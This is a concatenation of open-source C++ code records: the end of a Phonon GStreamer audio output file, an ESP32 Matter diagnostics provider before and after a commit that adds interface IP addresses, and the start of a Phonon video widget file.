AudioOutput::mediaNodeEvent(const MediaNodeEvent *event)\n{\n if (!m_audioBin)\n return;\n\n switch (event->type()) {\n\n default:\n break;\n }\n}\n\n\nAudioOutput::~AudioOutput()\n{\n if (m_audioBin) {\n gst_element_set_state (m_audioBin, GST_STATE_NULL);\n gst_object_unref (m_audioBin);\n }\n}\n\nqreal AudioOutput::volume() const\n{\n return m_volumeLevel;\n}\n\nint AudioOutput::outputDevice() const\n{\n return m_device;\n}\n\nvoid AudioOutput::setVolume(qreal newVolume)\n{\n if (newVolume > 2.0 )\n newVolume = 2.0;\n else if (newVolume < 0.0)\n newVolume = 0.0;\n\n if (newVolume == m_volumeLevel)\n return;\n\n m_volumeLevel = newVolume;\n\n if (m_volumeElement) {\n g_object_set(G_OBJECT(m_volumeElement), \"volume\", newVolume, (const char*)NULL);\n }\n\n emit volumeChanged(newVolume);\n}\n\nbool AudioOutput::setOutputDevice(int newDevice)\n{\n m_backend->logMessage(Q_FUNC_INFO + QString::number(newDevice), Backend::Info, this);\n if (newDevice == m_device)\n return true;\n\n if (root()) {\n root()->saveState();\n if (gst_element_set_state(root()->pipeline(), GST_STATE_READY) == GST_STATE_CHANGE_FAILURE)\n return false;\n }\n\n bool success = false;\n const QList<AudioDevice> deviceList = m_backend->deviceManager()->audioOutputDevices();\n if (m_audioSink && newDevice >= 0 && newDevice < deviceList.size()) {\n \/\/ Save previous state\n GstState oldState = GST_STATE(m_audioSink);\n const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, \"device\");\n const QByteArray deviceId = deviceList.at(newDevice).gstId;\n m_device = newDevice;\n\n \/\/ We test if the device can be opened by checking if it can go from NULL to READY state\n gst_element_set_state(m_audioSink, GST_STATE_NULL);\n success = GstHelper::setProperty(m_audioSink, \"device\", deviceId);\n if (success) {\n success = (gst_element_set_state(m_audioSink, oldState) == GST_STATE_CHANGE_SUCCESS);\n }\n if (!success) { \/\/ Revert state\n m_backend->logMessage(Q_FUNC_INFO +\n QLatin1String(\" Failed to change device \") +\n deviceId, Backend::Info, this);\n\n GstHelper::setProperty(m_audioSink, \"device\", oldDeviceValue);\n gst_element_set_state(m_audioSink, oldState);\n } else {\n m_backend->logMessage(Q_FUNC_INFO +\n QLatin1String(\" Successfully changed device \") +\n deviceId, Backend::Info, this);\n }\n\n \/\/ Note the stopped state should not really be neccessary, but seems to be required to \n \/\/ properly reset after changing the audio state\n if (root()) {\n QMetaObject::invokeMethod(root(), \"setState\", Qt::QueuedConnection, Q_ARG(State, StoppedState));\n root()->resumeState();\n }\n }\n return success;\n}\n\n#if (PHONON_VERSION >= PHONON_VERSION_CHECK(4, 2, 0))\nbool AudioOutput::setOutputDevice(const AudioOutputDevice &newDevice)\n{\n m_backend->logMessage(Q_FUNC_INFO, Backend::Info, this);\n if (!m_audioSink || !newDevice.isValid()) {\n return false;\n }\n const QVariant driver = newDevice.property(\"driver\");\n if (!driver.isValid()) {\n return setOutputDevice(newDevice.index());\n }\n if (newDevice.index() == m_device) {\n return true;\n }\n\n if (root()) {\n root()->saveState();\n if (gst_element_set_state(root()->pipeline(), GST_STATE_READY) == GST_STATE_CHANGE_FAILURE)\n return false;\n }\n\n \/\/ Save previous state\n const GstState oldState = GST_STATE(m_audioSink);\n const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, \"device\");\n\n const QByteArray sinkName = GstHelper::property(m_audioSink, \"name\");\n if (sinkName == \"alsasink\" || sinkName == \"alsasink2\") {\n if (driver.toByteArray() != \"alsa\") {\n return false;\n }\n }\n\n const QVariant deviceIdsProperty = newDevice.property(\"deviceIds\");\n QStringList deviceIds;\n if (deviceIdsProperty.type() == QVariant::StringList) {\n deviceIds = deviceIdsProperty.toStringList();\n } else if (deviceIdsProperty.type() == QVariant::String) {\n deviceIds += deviceIdsProperty.toString();\n }\n\n \/\/ We test if the device can be opened by checking if it can go from NULL to READY state\n foreach (const QString &deviceId, deviceIds) {\n gst_element_set_state(m_audioSink, GST_STATE_NULL);\n if (GstHelper::setProperty(m_audioSink, \"device\", deviceId.toUtf8())) {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"setProperty(device,\") +\n deviceId + QLatin1String(\") succeeded\"), Backend::Info, this);\n if (gst_element_set_state(m_audioSink, oldState) == GST_STATE_CHANGE_SUCCESS) {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"go to old state on device\") +\n deviceId + QLatin1String(\" succeeded\"), Backend::Info, this);\n m_device = newDevice.index();\n if (root()) {\n QMetaObject::invokeMethod(root(), \"setState\", Qt::QueuedConnection, Q_ARG(State, StoppedState));\n root()->resumeState();\n }\n return true;\n } else {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"go to old state on device\") +\n deviceId + QLatin1String(\" failed\"), Backend::Info, this);\n }\n } else {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"setProperty(device,\") +\n deviceId + QLatin1String(\") failed\"), Backend::Info, this);\n }\n }\n \/\/ Revert state\n GstHelper::setProperty(m_audioSink, \"device\", oldDeviceValue);\n gst_element_set_state(m_audioSink, oldState);\n\n if (root()) {\n QMetaObject::invokeMethod(root(), \"setState\", Qt::QueuedConnection, Q_ARG(State, StoppedState));\n root()->resumeState();\n }\n\n return false;\n}\n#endif\n\n}\n} \/\/namespace Phonon::Gstreamer\n\nQT_END_NAMESPACE\n#include \"moc_audiooutput.cpp\"\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\n * Copyright (c) 2021 Project CHIP Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file\n * Provides an implementation of the DiagnosticDataProvider object\n * for ESP32 platform.\n *\/\n\n#include <platform\/internal\/CHIPDeviceLayerInternal.h>\n\n#include <app-common\/zap-generated\/enums.h>\n#include <crypto\/CHIPCryptoPAL.h>\n#include <platform\/DiagnosticDataProvider.h>\n#include <platform\/ESP32\/DiagnosticDataProviderImpl.h>\n#include <platform\/ESP32\/ESP32Utils.h>\n\n#include \"esp_event.h\"\n#include \"esp_heap_caps_init.h\"\n#include \"esp_log.h\"\n#include \"esp_netif.h\"\n#include \"esp_spi_flash.h\"\n#include \"esp_system.h\"\n#include \"esp_wifi.h\"\n\nusing namespace ::chip;\nusing namespace ::chip::TLV;\nusing namespace ::chip::DeviceLayer;\nusing namespace ::chip::DeviceLayer::Internal;\nusing namespace ::chip::app::Clusters::GeneralDiagnostics;\n\nnamespace {\n\nInterfaceType GetInterfaceType(const char * if_desc)\n{\n if (strncmp(if_desc, \"ap\", strnlen(if_desc, 2)) == 0 || strncmp(if_desc, \"sta\", strnlen(if_desc, 3)) == 0)\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_WI_FI;\n if (strncmp(if_desc, \"openthread\", strnlen(if_desc, 10)) == 0)\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_THREAD;\n if (strncmp(if_desc, \"eth\", strnlen(if_desc, 3)) == 0)\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_ETHERNET;\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_UNSPECIFIED;\n}\n\n#if CHIP_DEVICE_CONFIG_ENABLE_WIFI\nuint8_t MapAuthModeToSecurityType(wifi_auth_mode_t authmode)\n{\n switch (authmode)\n {\n case WIFI_AUTH_OPEN:\n return 1;\n case WIFI_AUTH_WEP:\n return 2;\n case WIFI_AUTH_WPA_PSK:\n return 3;\n case WIFI_AUTH_WPA2_PSK:\n return 4;\n case WIFI_AUTH_WPA3_PSK:\n return 5;\n default:\n return 0;\n }\n}\n\nuint8_t GetWiFiVersionFromAPRecord(wifi_ap_record_t ap_info)\n{\n if (ap_info.phy_11n)\n return 3;\n else if (ap_info.phy_11g)\n return 2;\n else if (ap_info.phy_11b)\n return 1;\n else\n return 0;\n}\n#endif \/\/ CHIP_DEVICE_CONFIG_ENABLE_WIFI\n\n} \/\/ namespace\n\nnamespace chip {\nnamespace DeviceLayer {\n\nDiagnosticDataProviderImpl & DiagnosticDataProviderImpl::GetDefaultInstance()\n{\n static DiagnosticDataProviderImpl sInstance;\n return sInstance;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetCurrentHeapFree(uint64_t & currentHeapFree)\n{\n currentHeapFree = esp_get_free_heap_size();\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetCurrentHeapUsed(uint64_t & currentHeapUsed)\n{\n currentHeapUsed = heap_caps_get_total_size(MALLOC_CAP_DEFAULT) - esp_get_free_heap_size();\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetCurrentHeapHighWatermark(uint64_t & currentHeapHighWatermark)\n{\n currentHeapHighWatermark = heap_caps_get_total_size(MALLOC_CAP_DEFAULT) - esp_get_minimum_free_heap_size();\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetRebootCount(uint16_t & rebootCount)\n{\n uint32_t count = 0;\n\n CHIP_ERROR err = ConfigurationMgr().GetRebootCount(count);\n\n if (err == CHIP_NO_ERROR)\n {\n VerifyOrReturnError(count <= UINT16_MAX, CHIP_ERROR_INVALID_INTEGER_VALUE);\n rebootCount = static_cast<uint16_t>(count);\n }\n\n return err;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetUpTime(uint64_t & upTime)\n{\n System::Clock::Timestamp currentTime = System::SystemClock().GetMonotonicTimestamp();\n System::Clock::Timestamp startTime = PlatformMgrImpl().GetStartTime();\n\n if (currentTime >= startTime)\n {\n upTime = std::chrono::duration_cast<System::Clock::Seconds64>(currentTime - startTime).count();\n return CHIP_NO_ERROR;\n }\n\n return CHIP_ERROR_INVALID_TIME;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetTotalOperationalHours(uint32_t & totalOperationalHours)\n{\n uint64_t upTime = 0;\n\n if (GetUpTime(upTime) == CHIP_NO_ERROR)\n {\n uint32_t totalHours = 0;\n if (ConfigurationMgr().GetTotalOperationalHours(totalHours) == CHIP_NO_ERROR)\n {\n VerifyOrReturnError(upTime \/ 3600 <= UINT32_MAX, CHIP_ERROR_INVALID_INTEGER_VALUE);\n totalOperationalHours = totalHours + static_cast<uint32_t>(upTime \/ 3600);\n return CHIP_NO_ERROR;\n }\n }\n\n return CHIP_ERROR_INVALID_TIME;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetBootReason(BootReasonType & bootReason)\n{\n bootReason = BootReasonType::kUnspecified;\n uint8_t reason;\n reason = static_cast<uint8_t>(esp_reset_reason());\n if (reason == ESP_RST_UNKNOWN)\n {\n bootReason = BootReasonType::kUnspecified;\n }\n else if (reason == ESP_RST_POWERON)\n {\n bootReason = BootReasonType::kPowerOnReboot;\n }\n else if (reason == ESP_RST_BROWNOUT)\n {\n bootReason = BootReasonType::kBrownOutReset;\n }\n else if (reason == ESP_RST_SW)\n {\n bootReason = BootReasonType::kSoftwareReset;\n }\n else if (reason == ESP_RST_INT_WDT)\n {\n bootReason = BootReasonType::kSoftwareWatchdogReset;\n \/* Reboot can be due to hardware or software watchdog*\/\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetNetworkInterfaces(NetworkInterface ** netifpp)\n{\n esp_netif_t * netif = esp_netif_next(NULL);\n NetworkInterface * head = NULL;\n if (netif == NULL)\n {\n ChipLogError(DeviceLayer, \"Failed to get network interfaces\");\n }\n else\n {\n for (esp_netif_t * ifa = netif; ifa != NULL; ifa = esp_netif_next(ifa))\n {\n NetworkInterface * ifp = new NetworkInterface();\n strncpy(ifp->Name, esp_netif_get_ifkey(ifa), Inet::InterfaceId::kMaxIfNameLength);\n ifp->Name[Inet::InterfaceId::kMaxIfNameLength - 1] = '\\0';\n ifp->name = CharSpan::fromCharString(ifp->Name);\n ifp->isOperational = true;\n ifp->type = GetInterfaceType(esp_netif_get_desc(ifa));\n ifp->offPremiseServicesReachableIPv4.SetNull();\n ifp->offPremiseServicesReachableIPv6.SetNull();\n if (esp_netif_get_mac(ifa, ifp->MacAddress) != ESP_OK)\n {\n ChipLogError(DeviceLayer, \"Failed to get network hardware address\");\n }\n else\n {\n ifp->hardwareAddress = ByteSpan(ifp->MacAddress, 6);\n }\n ifp->Next = head;\n head = ifp;\n }\n }\n *netifpp = head;\n return CHIP_NO_ERROR;\n}\n\nvoid DiagnosticDataProviderImpl::ReleaseNetworkInterfaces(NetworkInterface * netifp)\n{\n while (netifp)\n {\n NetworkInterface * del = netifp;\n netifp = netifp->Next;\n delete del;\n }\n}\n\n#if CHIP_DEVICE_CONFIG_ENABLE_WIFI\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiBssId(ByteSpan & BssId)\n{\n wifi_ap_record_t ap_info;\n esp_err_t err;\n static uint8_t macAddress[kMaxHardwareAddrSize];\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n memcpy(macAddress, ap_info.bssid, 6);\n }\n BssId = ByteSpan(macAddress, 6);\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiSecurityType(uint8_t & securityType)\n{\n securityType = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n securityType = MapAuthModeToSecurityType(ap_info.authmode);\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiVersion(uint8_t & wifiVersion)\n{\n wifiVersion = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n wifiVersion = GetWiFiVersionFromAPRecord(ap_info);\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiChannelNumber(uint16_t & channelNumber)\n{\n channelNumber = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n channelNumber = ap_info.primary;\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiRssi(int8_t & rssi)\n{\n rssi = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n\n if (err == ESP_OK)\n {\n rssi = ap_info.rssi;\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiBeaconLostCount(uint32_t & beaconLostCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiCurrentMaxRate(uint64_t & currentMaxRate)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketMulticastRxCount(uint32_t & packetMulticastRxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketMulticastTxCount(uint32_t & packetMulticastTxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketUnicastRxCount(uint32_t & packetUnicastRxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketUnicastTxCount(uint32_t & packetUnicastTxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiOverrunCount(uint64_t & overrunCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::ResetWiFiNetworkDiagnosticsCounts()\n{\n return CHIP_NO_ERROR;\n}\n#endif \/\/ CHIP_DEVICE_CONFIG_ENABLE_WIFI\n\nDiagnosticDataProvider & GetDiagnosticDataProviderImpl()\n{\n return DiagnosticDataProviderImpl::GetDefaultInstance();\n}\n\n} \/\/ namespace DeviceLayer\n} \/\/ namespace chip\n<commit_msg>ESP32: Add IPAddresses for the network interfaces in generaldiagnostic cluster (#21271)<commit_after>\/*\n *\n * Copyright (c) 2021 Project CHIP Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file\n * Provides an implementation of the DiagnosticDataProvider object\n * for ESP32 platform.\n *\/\n\n#include <platform\/internal\/CHIPDeviceLayerInternal.h>\n\n#include <app-common\/zap-generated\/enums.h>\n#include <crypto\/CHIPCryptoPAL.h>\n#include <platform\/DiagnosticDataProvider.h>\n#include <platform\/ESP32\/DiagnosticDataProviderImpl.h>\n#include <platform\/ESP32\/ESP32Utils.h>\n\n#include \"esp_event.h\"\n#include \"esp_heap_caps_init.h\"\n#include \"esp_log.h\"\n#include \"esp_netif.h\"\n#include \"esp_spi_flash.h\"\n#include \"esp_system.h\"\n#include \"esp_wifi.h\"\n\nusing namespace ::chip;\nusing namespace ::chip::TLV;\nusing namespace ::chip::DeviceLayer;\nusing namespace ::chip::DeviceLayer::Internal;\nusing namespace ::chip::app::Clusters::GeneralDiagnostics;\n\nnamespace {\n\nInterfaceType GetInterfaceType(const char * if_desc)\n{\n if (strncmp(if_desc, \"ap\", strnlen(if_desc, 2)) == 0 || strncmp(if_desc, \"sta\", strnlen(if_desc, 3)) == 0)\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_WI_FI;\n if (strncmp(if_desc, \"openthread\", strnlen(if_desc, 10)) == 0)\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_THREAD;\n if (strncmp(if_desc, \"eth\", strnlen(if_desc, 3)) == 0)\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_ETHERNET;\n return InterfaceType::EMBER_ZCL_INTERFACE_TYPE_UNSPECIFIED;\n}\n\n#if CHIP_DEVICE_CONFIG_ENABLE_WIFI\nuint8_t MapAuthModeToSecurityType(wifi_auth_mode_t authmode)\n{\n switch (authmode)\n {\n case WIFI_AUTH_OPEN:\n return 1;\n case WIFI_AUTH_WEP:\n return 2;\n case WIFI_AUTH_WPA_PSK:\n return 3;\n case WIFI_AUTH_WPA2_PSK:\n return 4;\n case WIFI_AUTH_WPA3_PSK:\n return 5;\n default:\n return 0;\n }\n}\n\nuint8_t GetWiFiVersionFromAPRecord(wifi_ap_record_t ap_info)\n{\n if (ap_info.phy_11n)\n return 3;\n else if (ap_info.phy_11g)\n return 2;\n else if (ap_info.phy_11b)\n return 1;\n else\n return 0;\n}\n#endif \/\/ CHIP_DEVICE_CONFIG_ENABLE_WIFI\n\n} \/\/ namespace\n\nnamespace chip {\nnamespace DeviceLayer {\n\nDiagnosticDataProviderImpl & DiagnosticDataProviderImpl::GetDefaultInstance()\n{\n static DiagnosticDataProviderImpl sInstance;\n return sInstance;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetCurrentHeapFree(uint64_t & currentHeapFree)\n{\n currentHeapFree = esp_get_free_heap_size();\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetCurrentHeapUsed(uint64_t & currentHeapUsed)\n{\n currentHeapUsed = heap_caps_get_total_size(MALLOC_CAP_DEFAULT) - esp_get_free_heap_size();\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetCurrentHeapHighWatermark(uint64_t & currentHeapHighWatermark)\n{\n currentHeapHighWatermark = heap_caps_get_total_size(MALLOC_CAP_DEFAULT) - esp_get_minimum_free_heap_size();\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetRebootCount(uint16_t & rebootCount)\n{\n uint32_t count = 0;\n\n CHIP_ERROR err = ConfigurationMgr().GetRebootCount(count);\n\n if (err == CHIP_NO_ERROR)\n {\n VerifyOrReturnError(count <= UINT16_MAX, CHIP_ERROR_INVALID_INTEGER_VALUE);\n rebootCount = static_cast<uint16_t>(count);\n }\n\n return err;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetUpTime(uint64_t & upTime)\n{\n System::Clock::Timestamp currentTime = System::SystemClock().GetMonotonicTimestamp();\n System::Clock::Timestamp startTime = PlatformMgrImpl().GetStartTime();\n\n if (currentTime >= startTime)\n {\n upTime = std::chrono::duration_cast<System::Clock::Seconds64>(currentTime - startTime).count();\n return CHIP_NO_ERROR;\n }\n\n return CHIP_ERROR_INVALID_TIME;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetTotalOperationalHours(uint32_t & totalOperationalHours)\n{\n uint64_t upTime = 0;\n\n if (GetUpTime(upTime) == CHIP_NO_ERROR)\n {\n uint32_t totalHours = 0;\n if (ConfigurationMgr().GetTotalOperationalHours(totalHours) == CHIP_NO_ERROR)\n {\n VerifyOrReturnError(upTime \/ 3600 <= UINT32_MAX, CHIP_ERROR_INVALID_INTEGER_VALUE);\n totalOperationalHours = totalHours + static_cast<uint32_t>(upTime \/ 3600);\n return CHIP_NO_ERROR;\n }\n }\n\n return CHIP_ERROR_INVALID_TIME;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetBootReason(BootReasonType & bootReason)\n{\n bootReason = BootReasonType::kUnspecified;\n uint8_t reason;\n reason = static_cast<uint8_t>(esp_reset_reason());\n if (reason == ESP_RST_UNKNOWN)\n {\n bootReason = BootReasonType::kUnspecified;\n }\n else if (reason == ESP_RST_POWERON)\n {\n bootReason = BootReasonType::kPowerOnReboot;\n }\n else if (reason == ESP_RST_BROWNOUT)\n {\n bootReason = BootReasonType::kBrownOutReset;\n }\n else if (reason == ESP_RST_SW)\n {\n bootReason = BootReasonType::kSoftwareReset;\n }\n else if (reason == ESP_RST_INT_WDT)\n {\n bootReason = BootReasonType::kSoftwareWatchdogReset;\n \/* Reboot can be due to hardware or software watchdog*\/\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetNetworkInterfaces(NetworkInterface ** netifpp)\n{\n esp_netif_t * netif = esp_netif_next(NULL);\n NetworkInterface * head = NULL;\n uint8_t ipv6_addr_count = 0;\n esp_ip6_addr_t ip6_addr[kMaxIPv6AddrCount];\n if (netif == NULL)\n {\n ChipLogError(DeviceLayer, \"Failed to get network interfaces\");\n }\n else\n {\n for (esp_netif_t * ifa = netif; ifa != NULL; ifa = esp_netif_next(ifa))\n {\n NetworkInterface * ifp = new NetworkInterface();\n esp_netif_ip_info_t ipv4_info;\n strncpy(ifp->Name, esp_netif_get_ifkey(ifa), Inet::InterfaceId::kMaxIfNameLength);\n ifp->Name[Inet::InterfaceId::kMaxIfNameLength - 1] = '\\0';\n ifp->name = CharSpan::fromCharString(ifp->Name);\n ifp->isOperational = true;\n ifp->type = GetInterfaceType(esp_netif_get_desc(ifa));\n ifp->offPremiseServicesReachableIPv4.SetNull();\n ifp->offPremiseServicesReachableIPv6.SetNull();\n if (esp_netif_get_mac(ifa, ifp->MacAddress) != ESP_OK)\n {\n ChipLogError(DeviceLayer, \"Failed to get network hardware address\");\n }\n else\n {\n ifp->hardwareAddress = ByteSpan(ifp->MacAddress, 6);\n }\n if (esp_netif_get_ip_info(ifa, &ipv4_info) == ESP_OK)\n {\n memcpy(ifp->Ipv4AddressesBuffer[0], &(ipv4_info.ip.addr), kMaxIPv4AddrSize);\n ifp->Ipv4AddressSpans[0] = ByteSpan(ifp->Ipv4AddressesBuffer[0], kMaxIPv4AddrSize);\n ifp->IPv4Addresses = chip::app::DataModel::List<chip::ByteSpan>(ifp->Ipv4AddressSpans, 1);\n }\n ipv6_addr_count = esp_netif_get_all_ip6(ifa, ip6_addr);\n for (uint8_t idx = 0; idx < ipv6_addr_count; ++idx)\n {\n memcpy(ifp->Ipv6AddressesBuffer[idx], ip6_addr[idx].addr, kMaxIPv6AddrSize);\n ifp->Ipv6AddressSpans[idx] = ByteSpan(ifp->Ipv6AddressesBuffer[idx], kMaxIPv6AddrSize);\n }\n ifp->IPv6Addresses = chip::app::DataModel::List<chip::ByteSpan>(ifp->Ipv6AddressSpans, ipv6_addr_count);\n\n ifp->Next = head;\n head = ifp;\n }\n }\n *netifpp = head;\n return CHIP_NO_ERROR;\n}\n\nvoid DiagnosticDataProviderImpl::ReleaseNetworkInterfaces(NetworkInterface * netifp)\n{\n while (netifp)\n {\n NetworkInterface * del = netifp;\n netifp = netifp->Next;\n delete del;\n }\n}\n\n#if CHIP_DEVICE_CONFIG_ENABLE_WIFI\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiBssId(ByteSpan & BssId)\n{\n wifi_ap_record_t ap_info;\n esp_err_t err;\n static uint8_t macAddress[kMaxHardwareAddrSize];\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n memcpy(macAddress, ap_info.bssid, 6);\n }\n BssId = ByteSpan(macAddress, 6);\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiSecurityType(uint8_t & securityType)\n{\n securityType = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n securityType = MapAuthModeToSecurityType(ap_info.authmode);\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiVersion(uint8_t & wifiVersion)\n{\n wifiVersion = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n wifiVersion = GetWiFiVersionFromAPRecord(ap_info);\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiChannelNumber(uint16_t & channelNumber)\n{\n channelNumber = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n if (err == ESP_OK)\n {\n channelNumber = ap_info.primary;\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiRssi(int8_t & rssi)\n{\n rssi = 0;\n wifi_ap_record_t ap_info;\n esp_err_t err;\n\n err = esp_wifi_sta_get_ap_info(&ap_info);\n\n if (err == ESP_OK)\n {\n rssi = ap_info.rssi;\n }\n return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiBeaconLostCount(uint32_t & beaconLostCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiCurrentMaxRate(uint64_t & currentMaxRate)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketMulticastRxCount(uint32_t & packetMulticastRxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketMulticastTxCount(uint32_t & packetMulticastTxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketUnicastRxCount(uint32_t & packetUnicastRxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiPacketUnicastTxCount(uint32_t & packetUnicastTxCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::GetWiFiOverrunCount(uint64_t & overrunCount)\n{\n return CHIP_ERROR_UNSUPPORTED_CHIP_FEATURE;\n}\n\nCHIP_ERROR DiagnosticDataProviderImpl::ResetWiFiNetworkDiagnosticsCounts()\n{\n return CHIP_NO_ERROR;\n}\n#endif \/\/ CHIP_DEVICE_CONFIG_ENABLE_WIFI\n\nDiagnosticDataProvider & GetDiagnosticDataProviderImpl()\n{\n return DiagnosticDataProviderImpl::GetDefaultInstance();\n}\n\n} \/\/ namespace DeviceLayer\n} \/\/ namespace chip\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE project.\n\n Copyright (C) 2007 Trolltech ASA. All rights reserved.\n\n This library is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation, either version 2.1 or 3 of the License.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"videowidget.h\"\n#include 